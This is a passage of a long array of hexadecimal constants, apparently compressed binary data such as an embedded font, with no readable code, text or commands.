0x0f720f73, 0x0f6e0f71, 0x0f640f65, 0x0f610f63, 0x0f540f5f, 0x0f510f53, 0x0f4b0f4c, 0x0f420f45, 0x0f320f40, 0x0f2d0f2e, 0x0f1c0f1d, + 0x0f180f1a, 0x0f120f14, 0x0f0f0f11, 0x0f010f03, 0x0eff0e00, 0x0ef80efc, 0x0eef0ef7, 0x0ee60ee7, 0x0ee20ee4, 0x0edd0edf, 0x0ed70edb, 0x0ed10ed4, + 0x0eb70ec0, 0x0e8a0ea9, 0x0e870e89, 0x0e680e86, 0x0e2e0e46, 0x0e2a0e2d, 0x0e240e27, 0x0e160e21, 0x0e100e14, 0x0dfd0d09, 0x0dfa0dfb, 0x0deb0df4, + 0x0dd90dda, 0x0dca0dcb, 0x0dc70dc8, 0x0dc40dc5, 0x0dc20dc3, 0x0dbe0dc1, 0x0dbb0dbc, 0x0db50db9, 0x0db10db2, 0x0dad0db0, 0x0daa0dac, 0x0da70da9, + 0x0da30da4, 0x0d9f0da2, 0x0d9d0d9e, 0x0d960d9c, 0x0d830d88, 0x0d7d0d7f, 0x0d7b0d7c, 0x0d6f0d73, 0x0d6b0d6d, 0x0d530d69, 0x0d470d48, 0x0d450d46, + 0x0d420d43, 0x0d400d41, 0x0d3e0d3f, 0x0d3c0d3d, 0x0d360d38, 0x0d340d35, 0x0d310d33, 0x0d2c0d2f, 0x0d1d0d2a, 0x0d0c0d17, 0x0d050d0a, 0x0cff0c00, + 0x0ced0cf3, 0x0ce60cea, 0x0ce20ce4, 0x0cdc0ce0, 0x0cda0cdb, 0x0cd40cd8, 0x0cd00cd1, 0x0ccd0cce, 0x0cc80ccc, 0x0cc60cc7, 0x0cc30cc5, 0x0cc00cc2, + 0x0cb30cb4, 0x0caa0caf, 0x0ca60ca9, 0x0c9b0c9e, 0x0c980c99, 0x0c8c0c96, 0x0c8a0c8b, 0x0c880c89, 0x0c840c87, 0x0c7f0c81, 0x0c7b0c7e, 0x0c720c79, + 0x0c6f0c71, 0x0c640c65, 0x0c5e0c5f, 0x0c550c58, 0x0c4c0c50, 0x0c3f0c41, 0x0c3a0c3d, 0x0c300c35, 0x0c2b0c2e, 0x0c200c29, 0x0c190c1f, 0x0c0f0c11, + 0x0c0d0c0e, 0x0c040c0a, 0x0bfe0b03, 0x0bfb0bfc, 0x0bf80bfa, 0x0bf10bf7, 0x0bed0bef, 0x0beb0bec, 0x0be70bea, 0x0be50be6, 0x0be00be4, 0x0bd20bd7, + 0x0bce0bd0, 0x0bcb0bcc, 0x0bc00bc9, 0x0bba0bbb, 0x0bb70bb9, 0x0ba60bb6, 0x0b940ba2, 0x0b880b89, 0x0b830b85, 0x0b6b0b74, 0x0b5f0b60, 0x0b5b0b5c, + 0x0b4d0b52, 0x0b1b0b25, 0x00ea0a0f, 0x00100001, 0x23a30200, 0x000a0206, 0x01210082, 0x10af4200, 0x02000123, 0x87008500, 0x96002007, 0x96012000, + 0x16001017, 0x03218c01, 0x328e41e9, 0x00b02308, 0x00980100, 0x00380500, 0x001c0700, 0x00a80700, 0x00740800, 0x00e80900, 0x00b40b00, 0x00900c00, + 0x23820d00, 0xac0e2108, 0xa40f0000, 0x48100000, 0x94110000, 0x54120000, 0x30130000, 0x44150000, 0x60160000, 0x18170000, 0xf0330382, 0x9c180000, + 0xf4190000, 0xc01a0000, 0x841b0000, 0x821c0000, 0x401d253f, 0x101e0000, 0xd82b0382, 0xe01f0000, 0xfc200000, 0x82220000, 0x0824252f, 0x54240000, + 0x67820382, 0x001c2525, 0x82642500, 0x20378203, 0x2c1b8226, 0x00006827, 0x00001428, 0x00008c29, 0x8203832a, 0x4c2b243b, 0x822b0000, 0x822c2063, + 0x822d209f, 0x822d202f, 0xc82e2567, 0x882f0000, 0xe4270382, 0xa0300000, 0x82310000, 0xa8312423, 0x82320000, 0x20332997, 0xec330000, 0x48340000, + 0xbc230382, 0x82350000, 0x7c352187, 0x43820782, 0xdf823620, 0x63823720, 0x00343824, 0x3f823800, 0x000c3924, 0x37823900, 0x00d43924, 0x5f823a00, + 0x5b823a20, 0x00783b24, 0xab823b00, 0x97823c20, 0x002c3d24, 0x37823d00, 0x63823e20, 0x00503f25, 0x82004000, 0x00b02303, 0x03824100, 0x00804224, + 0x13824300, 0x3f824320, 0x97824420, 0x2f824420, 0x00984424, 0x23824500, 0x1f824520, 0x00f44524, 0x1f824600, 0x82a44621, 0x25c78207, 0x00003847, + 0x03827047, 0x0000c424, 0x03822448, 0x03826c20, 0x0000c823, 0x21ef8249, 0x07826049, 0x0000c023, 0x203b824a, 0x20ab824a, 0x208f824a, 0x241f824b, + 0x0000dc4b, 0x2017824c, 0x2023824d, 0x2097824d, 0x240f824d, 0x00003c4e, 0x298f824e, 0x0000044f, 0x0000ac4f, 0x03825450, 0x0382b420, 0x0000ec24, + 0x03829c51, 0x5225bb82, 0x530000b8, 0x24038230, 0x54000094, 0x82038220, 0x5c5524c3, 0x82550000, 0x8256203f, 0x82572027, 0xe05725a7, 0x88580000, + 0x6b820382, 0x23825920, 0x00e45924, 0x73825a00, 0xcf825a20, 0x000c5b2c, 0x00e85b00, 0x00bc5c00, 0xb7825d00, 0x07825f20, 0x00446024, 0xf3826000, + 0x5f826020, 0x5f826120, 0x00686224, 0x97826300, 0x33826320, 0x00f86324, 0xff826400, 0x53826420, 0xe3826520, 0x0f826520, 0x008c6629, 0x00506700, + 0x82086800, 0x253f8203, 0x00007469, 0x0382286a, 0x6b25a382, 0x6b000010, 0x82038284, 0xc46c2427, 0x826d0000, 0x606e245b, 0x826e0000, 0x186f24d7, + 0x826f0000, 0x827020f3, 0x8271203f, 0xd07124f3, 0x82720000, 0x827220f3, 0x8273209f, 0x82742063, 0x827420f7, 0x82742087, 0x40752483, 0x82760000, + 0x827720ab, 0x827820e7, 0x8279208f, 0x82792057, 0x827a2033, 0x827a2097, 0x487b2543, 0x7c7b0000, 0xb0200382, 0x3f820382, 0x17827c20, 0x27827c20, + 0x8f827c20, 0x00ec7c25, 0x821c7d00, 0x207f8203, 0x2047827e, 0x200f827e, 0x2087827f, 0x20138280, 0x24c78280, 0x00008081, 0x285b8282, 0x00000083, + 0x0000d883, 0x201b8284, 0x202b8284, 0x252b8285, 0x00004c86, 0x03823087, 0x8820bf82, 0x8920d782, 0x8924b382, 0x8a0000a4, 0x8a200782, 0x8b24c382, + 0x8b00002c, 0x8c209f82, 0x8c24b782, 0x8c000088, 0x8d20c382, 0x8d205782, 0x8d24bf82, 0x8e0000d4, 0x8e213f82, 0x8207829c, 0x828f2073, 0x82902067, + 0x82902037, 0xe890255b, 0x6c910000, 0x07820382, 0x23829220, 0x1f829220, 0x0f829420, 0x03839520, 0x96209382, 0x9724cb82, 0x97000008, 0x9720d782, + 0x98240f82, 0x990000c8, 0x9a24fb82, 0x9a000028, 0x13820783, 0xdb829b20, 0x0b829c20, 0x00f09c2c, 0x00c09d00, 0x00609e00, 0x1f829f00, 0x97829f20, + 0x0054a029, 0x00fca000, 0x825ca100, 0x20278203, 0x209382a2, 0x207f82a2, 0x241782a3, 0x0000dca3, 0x20e382a4, 0x253b82a4, 0x0000e4a4, 0x038290a5, + 0xa6241382, 0xa6000034, 0xa7203b82, 0xa720d382, 0xa8209782, 0xa8242b82, 0xa90000b0, 0xa9208782, 0xaa24cf82, 0xaa000024, 0xab300f82, 0xab000068, + 0xac0000f4, 0xad00008c, 0xae00000c, 0xae207382, 0xaf25af82, 0xb0000020, 0x82038204, 0xd0b12c3b, 0xb8b20000, 0xa8b30000, 0x82b40000, 0x58b52467, + 0x82b60000, 0x88b6211f, 0xaf820782, 0x00a4b728, 0x00f8b700, 0x5782b800, 0x5782b920, 0x9b82b920, 0xa782b920, 0x0782ba20, 0x2782bb20, 0xcf82bb20, + 0x0074bc24, 0x5f82bd00, 0x2b82bd20, 0xff82be20, 0x5782bf20, 0x00d8c024, 0x9782c100, 0xcf82c220, 0x0084c228, 0x0038c300, 0x0382c400, 0x0040c525, + 0x8210c600, 0x20bf8203, 0x823382c7, 0xc800212e, 0xc9200482, 0xca209782, 0xca205f82, 0xcb20b782, 0xcc202f82, 0xcc208782, 0xcd247f82, 0xce0000fc, + 0xce208b82, 0xcf248382, 0xcf000050, 0xd020cf82, 0xd1202382, 0xd2204382, 0xd2205b82, 0xd320db82, 0xd424d782, 0xd4000018, 0xd620c382, 0xd7203782, + 0xd7201b82, 0xd8201782, 0xd820ff82, 0xda203f82, 0xda24a782, 0xdb0000cc, 0xdb247f82, 0xdc0000dc, 0xdd20a782, 0xdd243b82, 0xde00009c, 0xde20c782, + 0xdf201382, 0xdf20ab82, 0xe0206f82, 0xe0246382, 0xe1000094, 0xe220e382, 0xe3241f82, 0xe3000060, 0xe42c4382, 0xe50000ec, 0xe60000b8, 0xe7000078, + 0xe8240382, 0xe90000ac, 0xe9201b82, 0xea28eb82, 0xea00005c, 0xeb0000c4, 0xec20c382, 0xed208782, 0xed20d782, 0xee202f82, 0xef207382, 0xf0286b82, + 0xf0000044, 0xf10000d8, 0xf1212f82, 0x820782b4, 0x00f32467, 0x82f30000, 0x82f42043, 0xd0f424af, 0x82f50000, 0x2cf6241b, 0x82f60000, 0x82f72073, + 0x82f7203f, 0x82f7204b, 0x4cf8245b, 0x82f80000, 0x82f92013, 0x08fa2427, 0x82fa0000, 0x30fb28ab, 0x98fb0000, 0x82fc0000, 0x82fd203f, 0x82fd20d3, + 0x64fe2d5b, 0xe0fe0000, 0x88ff0000, 0x24000100, 0xa8240382, 0x14010100, 0xf4280382, 0x98020100, 0x18030100, 0xe0240382, 0x5c040100, 0xd0270382, + 0x84050100, 0x82060100, 0xe8062513, 0x94070100, 0x07820382, 0x00480829, 0x00ec0801, 0x82400901, 0x24478203, 0x0100fc09, 0x2d13820a, 0x0100c40a, + 0x0100a40b, 0x0100700c, 0x0382000d, 0x0100dc23, 0x200f820e, 0x200f820f, 0x24038210, 0x01008c11, 0x300f8212, 0x01003014, 0x01001c15, 0x01005016, + 0x01002817, 0x290f8218, 0x0100f818, 0x0100ac19, 0x03827c1a, 0x0100e423, 0x2477821b, 0x0100641c, 0x297b821d, 0x0100cc1d, 0x0100801e, 0x0382341f, + 0x0100d423, 0x24b38221, 0x01007422, 0x202b8223, 0x241b8223, 0x01000424, 0x201f8224, 0x25af8225, 0x0100bc27, 0x03820c28, 0x29200782, 0x29202f82, + 0x2a209b82, 0x2b202f82, 0x2b256382, 0x2c0100b8, 0x2303823c, 0x2d0100b0, 0x2e205f82, 0x2e24ff82, 0x2f0100b4, 0x2f20ab82, 0x2f209f82, 0x2f251782, + 0x300100f0, 0x82038238, 0x8231205b, 0xa031249b, 0x82310100, 0x54322443, 0x82320100, 0x8233209f, 0x8233202b, 0x8233200b, 0x82342053, 0x823420ff, + 0x8235203f, 0x8235202f, 0x823620fb, 0x82362017, 0x82372007, 0x6c3728b3, 0xd8370100, 0x82380100, 0x0839241b, 0x82390100, 0x443a24af, 0x823a0100, + 0x823b20bf, 0x823b2027, 0x823c209f, 0x943c297f, 0x8c3d0100, 0x143e0100, 0x33820382, 0x6b823e20, 0x7b823f20, 0x07823f20, 0x1b824020, 0xaf824120, + 0x00a44124, 0x43824301, 0x009c4324, 0x5b824501, 0x0f824520, 0x43824620, 0x00e04624, 0x7f824701, 0x00584828, 0x002c4901, 0x2b824a01, 0x37824a20, + 0x07824b20, 0x00ec4b24, 0x33824c01, 0x5b824c20, 0x00504d29, 0x00884e01, 0x82344f01, 0x00902303, 0x93825001, 0x00cc5025, 0x82105101, 0x204b8203, + 0x20178252, 0x208b8253, 0x24078254, 0x01001c55, 0x20578255, 0x24278256, 0x01002057, 0x24a78257, 0x01004858, 0x20bf8259, 0x24bb8259, 0x0100785a, + 0x206b825b, 0x20db825b, 0x2477825c, 0x0100dc5c, 0x24b7825d, 0x0100305e, 0x202f825f, 0x20738260, 0x28278260, 0x01007061, 0x0100f861, 0x28238262, + 0x01000063, 0x0100b063, 0x20478264, 0x20db8265, 0x20eb8266, 0x20cb8266, 0x20cb8267, 0x20bf8267, 0x248b8268, 0x01006869, 0x24538269, 0x0100846a, + 0x252b826b, 0x0100406c, 0x03820c6d, 0x0100c430, 0x01005c6e, 0x0100a86f, 0x01009870, 0x03822871, 0x0100e823, 0x20e38272, 0x20278272, 0x20538273, + 0x24078273, 0x01005474, 0x207f8275, 0x20cf8275, 0x246f8276, 0x01007076, 0x306b8277, 0x01000478, 0x01009478, 0x0100f079, 0x0100887a, 0x203f827b, + 0x209f827b, 0x20df827c, 0x205f827d, 0x201b827d, 0x204b827e, 0x2043827e, 0x20c7827f, 0x208b827f, 0x243b8281, 0x01008082, 0x2c2f8283, 0x01003884, + 0x0100ac84, 0x0100ec85, 0x24fb8286, 0x0100e086, 0x20078287, 0x256b8288, 0x0100d088, 0x03823489, 0x8a203382, 0x8b241382, 0x8c010064, 0x8c215382, + 0x820782a0, 0x828d206f, 0x2c8e2453, 0x828e0100, 0x828e206b, 0x828f200f, 0x828f20a3, 0x8290207b, 0x82902033, 0x82912053, 0x8292206f, 0x3c93248f, + 0x82930100, 0x10942823, 0xc0940100, 0x82950100, 0xfc9525fb, 0x50960100, 0x5b820382, 0x1b829720, 0x5f829820, 0x17829920, 0x00b89924, 0x0b829a01, + 0x009c9b25, 0x82309c01, 0x204f8203, 0x2927829d, 0x0100bc9d, 0x01004c9e, 0x0382189f, 0x0100e423, 0x208382a0, 0x241782a1, 0x0100d8a1, 0x241782a2, + 0x010000a3, 0x287f82a3, 0x0100f4a3, 0x010098a4, 0x20e382a5, 0x24ab82a6, 0x010084a6, 0x200782a7, 0x245b82a9, 0x010004aa, 0x20f782aa, 0x20c782ab, + 0x205782ab, 0x248b82ac, 0x010048ad, 0x246782ae, 0x0100b4af, 0x204782b0, 0x820383b1, 0x68b2249b, 0x82b30100, 0x82b420bf, 0x82b42007, 0x74b528db, + 0xecb50100, 0x82b60100, 0x82b72097, 0xd0b72433, 0x82b80100, 0xa8b92443, 0x82ba0100, 0x58bb2453, 0x82bc0100, 0x82bc2083, 0x82bd2077, 0xf8bd2937, + 0x8cbe0100, 0x20bf0100, 0x0b820382, 0x001cc124, 0x0782c101, 0x00e0c224, 0x1f82c301, 0x5382c320, 0xf782c420, 0x003cc628, 0x00b0c601, 0x9f82c701, + 0x8f82c720, 0xdf82c820, 0x1382c920, 0x007cca24, 0x5b82cb01, 0x5b82cc20, 0x8f82cc20, 0x00a4cd28, 0x005cce01, 0xf382cf01, 0x0014d02c, 0x00b8d001, + 0x00dcd101, 0x3382d201, 0x5782d320, 0x8b82d420, 0x0382d520, 0x00e8d624, 0xf382d701, 0x0078d824, 0xb382d901, 0x7f82da20, 0x00d8da24, 0x5f82db01, + 0x0f82dc20, 0xc382dd20, 0x3382de20, 0x0064df24, 0x1382e001, 0xdf82e120, 0x9382e120, 0xd782e220, 0x0f82e320, 0x2b82e320, 0x8f82e420, 0x0b82e520, + 0x00e4e528, 0x0054e601, 0xd782e701, 0x7782e720, 0x0f82e720, 0x2f82e820, 0x4382e820, 0xe782e920, 0x1382ea20, 0x00bcea25, 0x8230eb01, 0x20778203, + 0x287382ec, 0x010010ed, 0x0100aced, 0x208382ee, 0x20a782ef, 0x201f82ef, 0x281782f0, 0x01002cf1, 0x0100f4f1, 0x20cf82f2, 0x20af82f2, 0x244b82f3, + 0x010060f4, 0x200782f4, 0x247b82f5, 0x010004f6, 0x203782f6, 0x257b82f7, 0x0100c4f8, 0x038234f9, 0xfa20df82, 0xfb244782, 0xfc010024, 0xfc201f82, + 0xfc204782, 0xfd24ab82, 0xfe010088, 0xff251f82, 0x0002005c, 0x30038230, 0x010200b8, 0x02020088, 0x03020078, 0x05020034, 0x2f038210, 0x060200bc, + 0x070200d0, 0x08020048, 0x09020058, 0x092c1782, 0x0a0200d4, 0x0b0200c0, 0x0c02007c, 0x0c200f82, 0x0d202382, 0x0d343f82, 0x0f0200d8, 0x10020028, + 0x110200a0, 0x120200ec, 0x150200b4, 0x15280f82, 0x160200f4, 0x170200c4, 0x17304382, 0x180200fc, 0x1a0200b0, 0x1b020050, 0x1c02003c, 0x1c207b82, + 0x1e244b82, 0x1f020070, 0x1f201382, 0x20243382, 0x21020044, 0x22240382, 0x23020064, 0x24243f82, 0x25020000, 0x262d0b82, 0x280200f8, 0x29020004, + 0x2a020074, 0x2303820c, 0x2c0200e0, 0x2d244b82, 0x2e02008c, 0x30206382, 0x31207382, 0x3124a382, 0x320200dc, 0x33201382, 0x33205f82, 0x34245b82, + 0x350200a0, 0x36240f82, 0x37020094, 0x37205782, 0x38243782, 0x39020098, 0x39200b82, 0x3a203782, 0x3b202382, 0x3c241382, 0x3d020080, 0x3d248382, + 0x3e0200e4, 0x3f244782, 0x40020038, 0x4020b382, 0x4120df82, 0x42281b82, 0x42020018, 0x430200c8, 0x44240f82, 0x450200b8, 0x4520f382, 0x4628f382, + 0x470200ac, 0x4902002c, 0x4a241f82, 0x4b020034, 0x4b2cd382, 0x4c0200f0, 0x4e020078, 0x4f0200a4, 0x50201b82, 0x50241b82, 0x510200d4, 0x5220af82, + 0x53206382, 0x53205782, 0x54203b82, 0x55201b82, 0x5520cb82, 0x56257f82, 0x57020040, 0x24038210, 0x58020088, 0x82038268, 0x1c5a24b7, 0x825a0200, + 0x825c20f7, 0x005d242f, 0x825d0200, 0x835e201b, 0x00fc2303, 0xbb825f02, 0x6f826120, 0x3f826220, 0x00386324, 0x97826402, 0x7b826620, 0xcf826720, + 0xaf826820, 0xef826920, 0x006c6a24, 0x13826b02, 0x00cc6c2d, 0x00906d02, 0x004c6e02, 0x82086f02, 0x00b42303, 0x33827102, 0x47827120, 0x2f827220, + 0x00147424, 0xf7827402, 0x007c7524, 0x0b827602, 0x73827620, 0x008c7728, 0x003c7902, 0x03827a02, 0x7b827b20, 0x17827c20, 0x00987c24, 0x27827d02, + 0x6b827e20, 0xab827f20, 0x53828020, 0xeb828020, 0xd3828120, 0x33828120, 0x00548224, 0x77828302, 0x33828420, 0x009c8424, 0xb7828502, 0xf3828520, + 0x00748624, 0x2f828702, 0xf3828720, 0x00c88824, 0x47828902, 0x00788a24, 0x97828a02, 0x00648b24, 0x97828c02, 0x00288d24, 0x63828e02, 0x00d08e28, + 0x00049002, 0x03829102, 0x23829220, 0x00a89324, 0x7f829402, 0x00a09428, 0x00709502, 0x27829602, 0x63829620, 0x03829720, 0x00309824, 0xeb829802, + 0x00c49829, 0x00889902, 0x820c9a02, 0x202f8203, 0x2053829b, 0x201f829b, 0x2c97829c, 0x0200f49c, 0x0200609d, 0x0200ac9e, 0x2043829f, 0x20f3829f, + 0x240b82a0, 0x020040a1, 0x206b82a1, 0x24f382a2, 0x02001ca3, 0x24d382a3, 0x02006ca4, 0x24df82a4, 0x0200b4a5, 0x241382a6, 0x020058a9, 0x202b82aa, + 0x20cf82ab, 0x205382ac, 0x20bb82ac, 0x20e382ad, 0x205782ae, 0x209f82af, 0x202b82af, 0x201382b0, 0x202382b1, 0x206f82b2, 0x258b82b3, 0x02006cb4, + 0x038268b5, 0xb620eb82, 0xb620af82, 0xb7286f82, 0xb7020048, 0xb80200b0, 0x00200f82, 0x02380082, 0x00800100, 0x003e0023, 0x16322500, 0x2b061415, + 0x34262201, 0x0e012b26, 0x27330782, 0x3d262223, 0x3b363401, 0x35373601, 0x16151737, 0x84062717, 0x011f2210, 0x25158335, 0x011d1632, 0x04823637, + 0x06142c08, 0x6001012f, 0x0d135e42, 0x13130d40, 0x3d100d0d, 0x5d103d4c, 0x07090907, 0x20221777, 0xe7182120, 0x070b0b07, 0x2007096e, 0x836e0907, + 0xc08e230a, 0x2982425e, 0x1d131a3c, 0x091d2323, 0x09076007, 0x03300814, 0x14083003, 0x080a0160, 0x010a081e, 0x3e831c0c, 0x860c1c21, 0x000f2e0e, + 0x00080000, 0x02e0ff00, 0x00800180, 0x22b1821a, 0x8236002d, 0x004624b5, 0x8456004e, 0x011d2abb, 0x21230614, 0x0622012e, 0x25b68207, 0x36341135, + 0xa0832133, 0x34352522, 0x1d20d382, 0x0886c283, 0x86173221, 0x87162012, 0x86332008, 0x32202410, 0x82061416, 0x321629ff, 0x22263436, 0x70021406, + 0xfe278483, 0x543e06ae, 0x8332063e, 0x00022a0b, 0x40fe0907, 0x0f081008, 0x22048271, 0x826c080c, 0x6f112105, 0x80200482, 0xfe2d0382, 0x2f2f42cf, + 0x1a432f42, 0x131a1313, 0x26ed8480, 0x29373729, 0x82010709, 0x070931f7, 0x086c4cf0, 0x1b0c8008, 0x59080859, 0x08802801, 0x44243c82, 0xb80808b8, + 0x36820383, 0x41422f22, 0x13233682, 0x8205001a, 0x02bf2ee7, 0x00c10180, 0x00ab00a3, 0x015401b3, 0x24e1825c, 0x22312306, 0x21e3822f, 0x01840607, + 0x06071426, 0x15161731, 0x1582f382, 0x17201283, 0x2f33ba83, 0x30230601, 0x06072322, 0x35262223, 0x26013f34, 0x86220727, 0x3534260a, 0x37363734, + 0x24168227, 0x1f323336, 0x200a8501, 0x860b9637, 0x20068216, 0x2b228333, 0x1415011e, 0x1716010f, 0x32333237, 0x15220b86, 0x7e8e0714, 0x36418b82, + 0x86362006, 0x82052007, 0x010f229f, 0x202a8214, 0x8a2c8b06, 0x830a8337, 0x8cb782ac, 0x8d23204e, 0x82ce88c3, 0x8bc18ac3, 0x363421c3, 0x0383dd82, + 0x31363422, 0x3421228e, 0x22ef8336, 0x84323033, 0x849384cb, 0x323122ca, 0x08a88606, 0x03100162, 0x04050b04, 0x05050103, 0x04040506, 0x0a090101, + 0x0304080a, 0x03010309, 0x0b050909, 0x1508060e, 0x03010219, 0x0b070e03, 0x0d180301, 0x0802030b, 0x010b0d0a, 0x0c0b0602, 0x0303070b, 0x080d0a0a, + 0x09050408, 0x10080506, 0x07040613, 0x05090605, 0x04171507, 0x0d070b01, 0x0b160304, 0x02010707, 0x05223c82, 0x3d860508, 0x0d3f0982, 0x090c010c, + 0x07070a06, 0x12100a05, 0x02040706, 0x13131aa8, 0x0e69131a, 0x090e0909, 0x8f01bf01, 0x080a215e, 0x9a8b5d9e, 0x0a215b82, 0x87768206, 0x8c0b205b, + 0x950220de, 0x0d0421dd, 0x0d214288, 0x2c8c84e8, 0x090b02de, 0x03010101, 0x04060604, 0x08088205, 0x0b050452, 0x04020a08, 0x0e110808, 0x0a0f0509, + 0x0b0e0905, 0x02070b0d, 0x180c0b02, 0x0e070a04, 0x03030403, 0x16080706, 0x080c0404, 0x1704010a, 0x09050715, 0x04070506, 0x09101306, 0x05090605, + 0x0e080703, 0x03030a09, 0x090c0b07, 0x0b010206, 0x0508050d, 0x043a3c85, 0x040d0508, 0x17030204, 0x08050914, 0x09050b07, 0x0201030b, 0x0c040309, + 0x88831322, 0x0e094d28, 0x360e0909, 0x62940203, 0x900a0821, 0x0a082161, 0x0a216186, 0x22608508, 0x95070b01, 0x8c042060, 0x9b0220e2, 0x84df20e1, + 0x0000348b, 0x00000300, 0x0002c0ff, 0x9f00c101, 0xaf00a700, 0x42010000, 0x172008e7, 0x06200982, 0x20089043, 0x059d4315, 0xb1432220, 0x21058205, + 0x3343010f, 0x282d8311, 0x23012a23, 0x22230607, 0x07b44327, 0x4307f042, 0xb34314b4, 0x24898225, 0x17160715, 0x202d8237, 0x0e974300, 0xff017508, + 0x0f101101, 0x130e080d, 0x19140e07, 0x02050808, 0x060f0a0e, 0x01030105, 0x07090607, 0x01010505, 0x0e0e0c01, 0x0c05050a, 0x0d030204, 0x140e060d, + 0x211c0b07, 0x04010201, 0x03031304, 0x20040112, 0x03040f10, 0x0f110e0a, 0x0d060401, 0x040a0e11, 0x120d0d04, 0x090e0a0b, 0x150b0609, 0x0a05081a, + 0x070c0806, 0x041e1c08, 0x100a0e01, 0x17160406, 0x02020909, 0x09213c82, 0x3a3a850e, 0x2892fe12, 0x1c281c1c, 0x0e0e1476, 0x59010e14, 0x05110403, + 0x1f040305, 0x82070c1a, 0x072b0845, 0x02040e0c, 0x05040c03, 0x0c0e0e0a, 0x05050102, 0x07050907, 0x06020101, 0x0e0a0f06, 0x0a0a0503, 0x070c1317, + 0x070e0a09, 0x820e120b, 0x2392828c, 0x0520100e, 0x113b6a82, 0x04040505, 0x14150809, 0x0a110604, 0x1e04020e, 0x0d07081c, 0x08050e0a, 0x830b1619, + 0x09043b91, 0x0c0d130b, 0x0e0a0404, 0x03070c10, 0x0e120e02, 0x0e03030a, 0x01041f10, 0x8d82e6fe, 0x6c281c22, 0x0e228d82, 0x00820014, 0xffff0322, + 0x0806e341, 0x1300094e, 0x00002d00, 0x33032125, 0x3b021e32, 0x21350101, 0x23061415, 0x01262221, 0x011d1632, 0x36343521, 0x2317013b, 0x16140622, + 0x36322133, 0x012b2634, 0xff800137, 0x178d4000, 0x16250e25, 0x0240fe6e, 0xfe0d1300, 0x01130d40, 0xfe130de0, 0x31280b82, 0x09070f0e, 0x60010709, + 0x0e2a0583, 0x2001a015, 0xfe1b2a1b, 0x22824080, 0x0d011330, 0x80800d13, 0x0940130d, 0x0d0a0a0d, 0x8a824009, 0x84020021, 0x0140298b, 0x002400c1, + 0x1300004e, 0x47079447, 0x33200883, 0x14248883, 0x012b010e, 0x2106c047, 0x7a45013d, 0x47a68405, 0x372005c1, 0x3229a582, 0x07141516, 0x2b020e14, + 0x26ad8301, 0x3637013b, 0x83a03233, 0x09402584, 0x09074007, 0x04220282, 0x0b850408, 0x08580128, 0x221c8710, 0x1e83a5fe, 0x202f3724, 0xbf82a02a, + 0x0b090724, 0x10834e06, 0x0b787828, 0x1001140d, 0x3585060a, 0x02823d82, 0x06213b83, 0x2013820a, 0x241c82a0, 0x0a14640c, 0x29e08206, 0x0d131a26, + 0x0a060203, 0xd0820407, 0x00085833, 0xff000004, 0x018002c0, 0x001600c0, 0x00740060, 0x2ecf828c, 0x2f220607, 0x35012e02, 0x36023f34, 0x83021f32, + 0x170122a4, 0x21a48206, 0xad46012f, 0x84ea8207, 0x013b22e3, 0x9bce8332, 0x011c350b, 0x15070615, 0x0623030f, 0x27011f14, 0x022f3436, 0x020f2226, + 0x022a0c82, 0x013f3216, 0x0f143105, 0x71843101, 0x70865b82, 0x02156b2a, 0x31150208, 0x31040202, 0x04360985, 0x263b0104, 0x18c61e0d, 0x17087d0f, + 0x180c1411, 0x08131a13, 0x058e0810, 0x01060d33, 0x0101260f, 0x78011515, 0x0c1e0202, 0x0c020402, 0x2108871e, 0x4b894001, 0x01235487, 0x82043115, + 0x03012115, 0x0a852982, 0x04040238, 0x10c3fe02, 0x0bac141d, 0x1117110d, 0x130df120, 0x08980d13, 0x0783b808, 0x0808b823, 0x200f8698, 0x32078348, + 0x010201b0, 0x01010b06, 0x0b010f26, 0x7f010a30, 0x85010502, 0x0501216f, 0x50217885, 0x83c48204, 0x86568361, 0x82002060, 0x06240800, 0xc0ff2000, + 0xc1012102, 0x16000700, 0x9d005700, 0xad00a500, 0x22240000, 0x32363426, 0x07271416, 0x17013e37, 0x2505d647, 0x07222326, 0x6241022e, 0x17152105, + 0x14261789, 0x32331415, 0x2783013f, 0x14150224, 0x0f87010f, 0x32170223, 0x2a10831e, 0x1d010e02, 0x25223001, 0x82171632, 0x2b06261a, 0x3b142201, + 0x2f0c9601, 0x34353627, 0x34352726, 0x013f013e, 0x16323336, 0x06824f83, 0x33213888, 0x20988612, 0x068d4900, 0x2804023e, 0x1c281c1c, 0x031510e9, + 0x0c09090e, 0x0a090f01, 0x1b13e208, 0x0e140f10, 0x0f023c02, 0x29081283, 0x02060827, 0x080f032f, 0x01060a06, 0x0106082c, 0x0b070222, 0x06080406, + 0x4a220103, 0x01023c2f, 0x020e09a9, 0x08a00a0e, 0x08847f08, 0x08088023, 0x3008845f, 0x061d21d0, 0x27161c24, 0x04036c18, 0x2f110e0a, 0x821584c7, + 0x1a45271e, 0x131a1313, 0x79849cfe, 0x7d82e020, 0x12281c3b, 0x0a084205, 0x0a0d0101, 0x03300403, 0x29200ad2, 0x0d0a7116, 0xbe320a0e, 0x29158209, + 0x0404090e, 0x0801017a, 0x0d839706, 0x7c820620, 0x828a0321, 0x6b05390e, 0x01050805, 0x05080605, 0x176c0304, 0x1a335110, 0x03080b32, 0x100e0a02, + 0x1231068c, 0x2c1d100e, 0x301b1a05, 0x01210823, 0x05120a0e, 0x211e8611, 0x85821001, 0xfe1a1323, 0x3b81848d, 0x02000000, 0xc0ff0000, 0xc0018102, + 0x4c003700, 0x37250000, 0x26343536, 0x020f2223, 0x3207f043, 0x26012722, 0x013f3435, 0x1f323336, 0x3b363701, 0x83170701, 0x440c8205, 0x062d0525, + 0x2726012b, 0x07013325, 0x2f222306, 0x4b048401, 0x012e06e5, 0x09051a67, 0x1b050607, 0x064b0121, 0xb8821403, 0xb3fd0422, 0x26080886, 0x0d091575, + 0x581a4c54, 0x0d560d09, 0x07703709, 0x62070909, 0x18fe1204, 0x097e0108, 0x0a0d120b, 0x171f1312, 0x82825b11, 0x18fc2917, 0x09070705, 0xff1e1904, + 0x05254082, 0x01030619, 0x390886c7, 0x4509155b, 0x09085114, 0xc0070937, 0x0f170a06, 0x0ad8feba, 0x1810080e, 0x1082520e, 0x00090724, 0xdb820600, + 0xdb84bf20, 0x12000731, 0x29002000, 0x63003400, 0x33110000, 0x82141517, 0x22372db6, 0x1415010e, 0x34363216, 0x05351726, 0x2529bf8a, 0x22231133, + 0x3a35022e, 0x201a8201, 0x20258423, 0x210e4125, 0x2f261523, 0x063d4101, 0x48180730, 0x30400d13, 0x09040804, 0x4909090e, 0xd38a1601, 0x608e0128, + 0x090b0740, 0x19822905, 0x21820720, 0x41effe21, 0x042f1f1d, 0x051a9204, 0x04060709, 0xa8384001, 0x8240130d, 0x09072134, 0x20225882, 0xef86d78f, 